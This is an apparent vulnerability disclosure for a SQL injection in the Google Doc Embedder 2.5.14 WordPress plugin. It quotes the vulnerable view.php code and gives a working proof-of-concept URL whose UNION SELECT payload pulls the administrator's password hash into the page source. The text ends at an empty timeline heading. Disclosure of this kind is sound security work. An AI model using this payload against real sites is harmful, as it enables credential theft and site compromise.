Google Doc Embedder 2.5.14 SQL Injection

Homepage:

https://wordpress.org/plugins/google-document-embedder/

CVSS Score

5

CVSS Vector

(AV:N/AC:L/Au:N/C:P/I:N/A:N)

Description:

$_GET['gpid'] is not escaped.

File: google-document-embedder\view.php

// get profile
if ( isset( $_GET['gpid'] ) ) {
	if ( $profile = gde_get_profile( $_GET['gpid'] ) ) {
		$tb = $profile['tb_flags'];
		$vw = $profile['vw_flags'];
		$bg = $profile['vw_bgcolor'];
		$css = $profile['vw_css'];
	}
}

We control $id:

File: google-document-embedder\view.php

function gde_get_profile( $id ) {
	global $wpdb;
	$table = $wpdb->prefix . 'gde_profiles';
	
	$profile = $wpdb->get_results( "SELECT * FROM $table WHERE profile_id = $id", ARRAY_A );
	$profile = unserialize($profile[0]['profile_data']);
	
	if ( is_array($profile) ) {
		return $profile;
	} else {
		return false;
	}
}

$css is displayed on website.

File: google-document-embedder\view.php

if ( ! empty( $css ) ) {
	$cssblock = '<link rel="stylesheet" type="text/css" href="'.$css."\">\n</head>";
	$search[] = "</head>";
	$replace[] = $cssblock;
}

Proof of Concept:

http://wordpress-install/wp-content/plugins/google-document-embedder/view.php?embedded=1&gpid=0 UNION SELECT 1, 2, 3, CONCAT(CAST(CHAR(97, 58, 49, 58, 123, 115, 58, 54, 58, 34, 118, 119, 95, 99, 115, 115, 34, 59, 115, 58) as CHAR), LENGTH(user_pass), CAST(CHAR(58, 34) as CHAR), user_pass, CAST(CHAR(34, 59, 125) as CHAR)) FROM `wp_users` WHERE ID=1

User pass will be visible on page source:

<link rel="stylesheet" type="text/css" href="%SELECTED_USER_PASS%">

Timeline: